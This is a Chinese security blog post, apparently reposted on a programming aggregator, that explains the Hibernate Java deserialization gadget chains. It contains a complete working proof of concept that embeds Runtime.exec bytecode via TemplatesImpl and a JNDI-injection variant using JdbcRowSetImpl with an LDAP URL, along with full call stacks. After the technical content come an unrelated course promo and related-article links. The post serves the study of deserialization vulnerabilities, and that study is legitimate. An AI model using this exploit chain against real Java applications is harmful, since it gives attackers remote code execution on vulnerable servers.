深究Java Hibernate框架下的Deserialization

news2024/9/24 3:23:59

写在前面

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java
框架,它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。

分析

对于Hibernate框架的反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl这条链子进行利用链的构造。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

image-20220922194203674.png

我们从这个注释可以知道,定义了一个类的属性值的相关策略

在接口中的定义了两个方法,分别为getGetter``getSetter方法

该接口的实现类是BasicPropertyAccessor

image-20220922194554244.png

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter

image-20220922194659906.png

首先,在其构造方法中传入了三个参数,分别是目标类,目标方法,目标属性。

同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。

那么这个Getter又是从何而来的呢?

我们可以关注到BasciPropertyAccessor类对getSetter方法的重写

image-20220922195603913.png

在getSetter方法中将会调用createGetter方法,进而调用了getGetterOrNull方法。

image-20220922195713115.png

在该方法中,将会通过getterMethod方法得到对应属性的getter方法名,如果存在的话,将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

image-20220922195924588.png

首先在该方法中将会调用theClass.getDeclaredMethods方法得到目标类的所有存在的方法,之后遍历这些方法,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get开头,如果是,将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法,而想要调用,还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢?

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

image-20220922200916575.png

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

image-20220922201045886.png

他是一个Getter对象数组,正好了,上面返回了一个Getter方法,可以反射写入这个数组中,在getPropertyValue方法中调用其get方法,达到利用链的触发。

但是值得注意的是AbstractComponentTuplizer是一个抽象类,我们寻找一下他的子类。

image-20220922201246317.png

存在有两个子类,DynamicMapComponentTuplizer类和PojoComponentTuplizer类一个是处理映射为Map对象,一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer类中存在有getPropertyValues方法。

image-20220922201648753.png

且能够调用父类的getPropertyValues方法,

那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。image-20220922202954447.png

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中

image-20220922204747080.png

在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType同样实现了Type接口

在构造方法中除了赋值,还调用了initTransients方法。

image-20220922204934884.png

创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性,

我们可以关注到反序列化入口点,

hashCode方法中调用了初始化赋值的hashCode属性的getValue方法。

image-20220922205451606.png

即是调用了ValueHolder#getValue方法,

image-20220922205522695.png

在这里将会调用之前初始化时重写的initialize方法,

image-20220922205642426.png

如果此时的typeComponentType就将会调用它的getHashCode方法,

image-20220922205750079.png

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的,首先创建一个TemplatesImpl对象

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后获取对应的getter

// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");

之后我们需要触发getter的get方法,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

完整的POC

package pers.hibernate;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate1 {

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
        SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
        }

        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
        Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);

        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
        Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);

        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);

        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});

        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射写入,防止 put 时触发
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);

        ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
        SerializeUtil.readObject(byteArrayOutputStream);
    }
}

解释一下其中try catch句中是因为

在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

使用org.hibernate.property.access.spi.GetterMethodImpl替代org.hibernate.property.BasicPropertyAccessor$BasicGetter

  • 使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对
    PojoComponentTuplizer 进行封装

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)

Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,

细节在fastjson的利用链中就讲过了,可以找一下我的文章。

因为我们能够触发任意的getter方法,所以我们可以通过调用getDatabaseMetaData方法。

image-20220922225601722.png

进而调用connect方法触发漏洞,

image-20220922225623399.png

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

image-20220922231220788.png

调用链

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/382925.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在 The Sandbox 中以全新的 Rabbids 体验庆祝兔年!

育碧(Ubisoft) 和 The Sandbox 联手为你们带来终极的农历新年体验&#xff01; 穿戴上你们新鲜出炉的 Rabbids 人物化身来参加派对吧&#xff0c;保证震撼整个元宇宙&#xff01;这个全新体验为 Rabbids 人物化身持有者专属。没有获得 Rabbids 人物化身吗&#xff1f;不要担心&…

【Java】P2 基础语法与运算符

Java 基础语法 运算符Java注释方法基本数据类型驼峰命名法Scanner类基本运算除法隐式转换逻辑运算符 以及 短路逻辑运算符三元运算符前言 上一节内容涵盖Java的基础知识&#xff0c;包含安装下载&#xff0c;JDK与JRE等。 链接&#xff1a;https://blog.csdn.net/weixin_43098…

java 多线程处理任务

首先介绍一下我的使用场景我在redis set集合中有几十万个行程id&#xff0c;我需要一个脚本来离线计算每个行程的里程&#xff0c;计算完了之后&#xff0c;将公里数填到mongodb的表中&#xff0c;并且删除set集合中这个元素。我的目录结构我们创建一个maven项目&#xff0c;然…

STM32之PWM

PWMPWM&#xff0c;英文名Pulse Width Modulation&#xff0c;是脉冲宽度调制缩写&#xff0c;它是通过对一系列脉冲的宽度进行调制&#xff0c;等效出所需要的波形&#xff08;包含形状以及幅值&#xff09;&#xff0c;对模拟信号电平进行数字编码&#xff0c;也就是说通过调…

Office 365用户报告

通过ADManager Plus的现成Office 365用户报告&#xff0c;您无需复杂的PowerShell脚本&#xff0c;即可查找Office 365环境中用户的重要信息。使用这些报告&#xff0c;您只需点击几次基于Web的控制台&#xff0c;即可提取Office 365环境中活动和不活动用户数量等信息&#xff…

Celery 分布式任务队列

1. 认识 Celery Celery 是一个 基于 Python 开发的分布式异步消息任务队列&#xff0c;可以实现任务异步处理&#xff0c;制定定时任务等。 异步消息队列&#xff1a;执行异步任务时&#xff0c;会返回一个任务 ID 给你&#xff0c;过一段时间后拿着任务 ID 去取执行结果定时…

进程的介绍

文章目录一.进程的概念1.1概念1.2进程的组成1.2.1 PCB中描述进程的特征二.进程的虚拟地址空间三.进程间的通信引入线程一.进程的概念 1.1概念 百科的介绍: 换句话说,一个跑起来的程序,就是一个进程,也就是在操作系统中运行的exe程序就是一个进程,如下图的进程列表 进程是操…

【女士,房间墙上凿个洞,看你在干嘛~】安全攻防内网渗透-绕过防火墙和安全检测,搭建DNS隐蔽隧道

作者&#xff1a;Eason_LYC 悲观者预言失败&#xff0c;十言九中。 乐观者创造奇迹&#xff0c;一次即可。 一个人的价值&#xff0c;在于他所拥有的。所以可以不学无术&#xff0c;但不能一无所有&#xff01; 技术领域&#xff1a;WEB安全、网络攻防 关注WEB安全、网络攻防。…

Java并发包提供了哪些并发工具类?

第19讲 | Java并发包提供了哪些并发工具类&#xff1f; 通过前面的学习&#xff0c;我们一起回顾了线程、锁等各种并发编程的基本元素&#xff0c;也逐步涉及了 Java 并发包中的部分内容&#xff0c;相信经过前面的热身&#xff0c;我们能够更快地理解 Java 并发包。 今天我要…

SpringBoot集成Swagger3.0(入门) 02

文章目录Swagger3常用配置注解接口测试API信息配置Swagger3 Docket开关&#xff0c;过滤&#xff0c;分组Swagger3常用配置注解 ApiImplicitParams,ApiImplicitParam&#xff1a;Swagger3对参数的描述。 参数名参数值name参数名value参数的具体意义&#xff0c;作用。required参…

mes系统核心业务流程及应用场景介绍

现在许多企业已经开始使用MES系统控制和管理工厂的生产过程&#xff0c;实时监控、诊断和控制生产过程&#xff0c;完成单元集成和系统优化。本文将为大家具体介绍一下MES系统的业务流程。 MES系统业务流程 1、计划调度MES系统承接了ERP订单&#xff0c;开始干预生产。该模块…

kaggle RSNA 比赛过程总结

引言 算算时间&#xff0c;有差不多两年多没在打kaggle了&#xff0c;自20年最后一场后&#xff08;其实之前也就打过两场&#xff0c;一场打铁&#xff0c;一场表格赛是金是银不太记得&#xff0c;当时相当于刺激战场&#xff0c;过拟合lb大赛太刺激了&#xff0c;各种trick只…

毕业设计 基于51单片机的指纹红外密码电子锁

基于51单片机的指纹红外密码电子锁1、项目简介1.1 系统框架1.2 系统功能2、部分电路设计2.1 STC89C52单片机最小系统电路设计2.2 矩阵按键电路电路设计2.3 液晶显示模块电路设计3、部分代码展示3.1 LCD12864显示字符串3.2 串口初始化实物图1、项目简介 选题指导&#xff0c;项…

动态规划|特殊的多行规划|dp[2][] 用两行元素分别记录状态变化

多行规划是我自己整理此类问题时起的名字&#xff0c;如有专属名词&#xff0c;麻烦评论告知 用于处理当动态规划中&#xff0c;需要记录多个值的状态变化时。 376. 摆动序列&#xff08;特殊的自定义二维dp&#xff09; 做惯了一般的动态规划&#xff0c;突然看到这种题目&a…

UDPTCP网络编程

udp编程接口 一个UDP程序的编写可以分为3步&#xff1a; 创建一个网络套接字&#xff1a; 它相当于文件操作时的文件描述符&#xff0c;是一个程序进行网络通讯的门户&#xff0c; 所有的网络操作都要基于它 绑定IP和端口&#xff1a; 需要为网络套接字填充IP和端口信息 但是…

Python - 操作txt文件

文章目录打开txt文件读取txt文件写入txt文件删除txt文件打开txt文件 open(file, moder, bufferingNone, encodingNone, errorsNone, newlineNone, closefdTrue)函数用来打开txt文件。 #方法1&#xff0c;这种方式使用后需要关闭文件 f open("data.txt","r&qu…

【Visual Studio】git提交代码时使用GPG

前言 下载安装GPG的过程省略,直接开始进行配置 0.visual studio 版本说明 其余版本未测试,但是应该也是可以的 1 获取GPG的密钥ID 1.1 window下可以打开Kleopatra查看生成好的密钥的密钥ID 1.2 也可以从命令行中获取 gpg --list-keys 红框位置,后16位就是密钥ID 2 配置.git…

QML MouseArea详解

1.MouseArea简介 MouseArea是一个不可见的项目&#xff0c;通常与一个可见的项目一起使用&#xff0c;以便为该项目提供鼠标处理。通过有效地充当代理&#xff0c;鼠标处理的逻辑可以包含在MouseArea项中。 常用属性&#xff1a; 属性 类型描述 containsMouse bool 光标当前…

刷题笔记2 | 977.有序数组的平方 ,209.长度最小的子数组 ,59.螺旋矩阵II ,总结

977.有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后&#xff0c;数组变为 […

二、Spring概述

1.Spring简介 Spring是一个开源框架&#xff0c;它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。 从简单性、可测试性和松耦合的角度而言&#xff0c;任何Java应用都可以从Spring中受益。 Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。 Sp…